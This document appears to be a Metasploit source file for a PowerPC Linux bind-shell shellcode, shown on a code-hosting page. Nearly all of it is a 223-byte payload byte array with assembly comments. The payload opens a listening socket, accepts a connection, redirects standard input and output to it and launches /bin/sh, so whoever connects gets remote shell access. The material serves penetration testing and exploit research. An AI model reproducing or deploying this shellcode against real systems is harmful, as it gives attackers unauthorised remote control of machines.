Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/unixasm/lin-power-bndsockcode.c
Views: 11766
/*1* lin-power-bndsockcode.c2* Copyright 2008 Ramon de Carvalho Valle <[email protected]>3*4* This library is free software; you can redistribute it and/or5* modify it under the terms of the GNU Lesser General Public6* License as published by the Free Software Foundation; either7* version 2.1 of the License, or (at your option) any later version.8*9* This library is distributed in the hope that it will be useful,10* but WITHOUT ANY WARRANTY; without even the implied warranty of11* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU12* Lesser General Public License for more details.13*14* You should have received a copy of the GNU Lesser General Public15* License along with this library; if not, write to the Free Software16* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA17*18*/1920#define BNDSOCKPORT 582122char bndsockcode[]= /* 223 bytes */23"\x7f\xff\xfa\x78" /* xor r31,r31,r31 */24"\x3b\xa0\x01\xff" /* li r29,511 */25"\x3b\x9d\xfe\x02" /* addi r28,r29,-510 */26"\x3b\x7d\xfe\x03" /* addi r27,r29,-509 */27"\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */28"\x97\x81\xff\xfc" /* stwu r28,-4(r1) */29"\x97\x61\xff\xfc" /* stwu r27,-4(r1) */30"\x7c\x24\x0b\x78" /* mr r4,r1 */31"\x38\x7d\xfe\x02" /* addi r3,r29,-510 */32"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */33"\x44\xff\xff\x02" /* sc */34"\x7c\x7a\x1b\x78" /* mr r26,r3 */35"\x3b\x3d\xfe\x11" /* addi r25,r29,-495 */36"\x3e\xe0\xff\x02" /* lis r23,-254 */37"\x62\xf7\x04\xd2" /* ori r23,r23,1234 */38"\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */39"\x96\xe1\xff\xfc" /* stwu r23,-4(r1) */40"\x7c\x36\x0b\x78" /* mr r22,r1 */41"\x97\x21\xff\xfc" /* stwu r25,-4(r1) */42"\x96\xc1\xff\xfc" /* stwu r22,-4(r1) */43"\x97\x41\xff\xfc" /* stwu r26,-4(r1) */44"\x7c\x24\x0b\x78" /* mr r4,r1 */45"\x38\x7d\xfe\x03" /* addi r3,r29,-509 */46"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */47"\x44\xff\xff\x02" /* sc */48"\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */49"\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */50"\x97\x41\xff\xfc" /* stwu r26,-4(r1) */51"\x7c\x24\x0b\x78" /* mr r4,r1 */52"\x38\x7d\xfe\x05" /* addi r3,r29,-507 */53"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */54"\x44\xff\xff\x02" /* sc */55"\x7c\x24\x0b\x78" /* mr r4,r1 */56"\x38\x7d\xfe\x06" /* addi r3,r29,-506 */57"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */58"\x44\xff\xff\x02" /* sc */59"\x7c\x75\x1b\x78" /* mr r21,r3 */60"\x7f\x64\xdb\x78" /* mr r4,r27 */61"\x7e\xa3\xab\x78" /* mr r3,r21 */62"\x38\x1d\xfe\x40" /* addi r0,r29,-448 */63"\x44\xff\xff\x02" /* sc */64"\x37\x7b\xff\xff" /* addic. r27,r27,-1 */65"\x40\x80\xff\xec" /* bge+ <bndsockcode+148> */66"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */67"\x40\x82\xff\xfd" /* bnel+ <bndsockcode+172> */68"\x7f\xc8\x02\xa6" /* mflr r30 */69"\x3b\xde\x01\xff" /* addi r30,r30,511 */70"\x38\x7e\xfe\x25" /* addi r3,r30,-475 */71"\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */72"\x94\xa1\xff\xfc" /* stwu r5,-4(r1) */73"\x94\x61\xff\xfc" /* stwu r3,-4(r1) */74"\x7c\x24\x0b\x78" /* mr r4,r1 */75"\x38\x1d\xfe\x0c" /* addi r0,r29,-500 */76"\x44\xff\xff\x02" /* sc */77"/bin/sh"78;79808182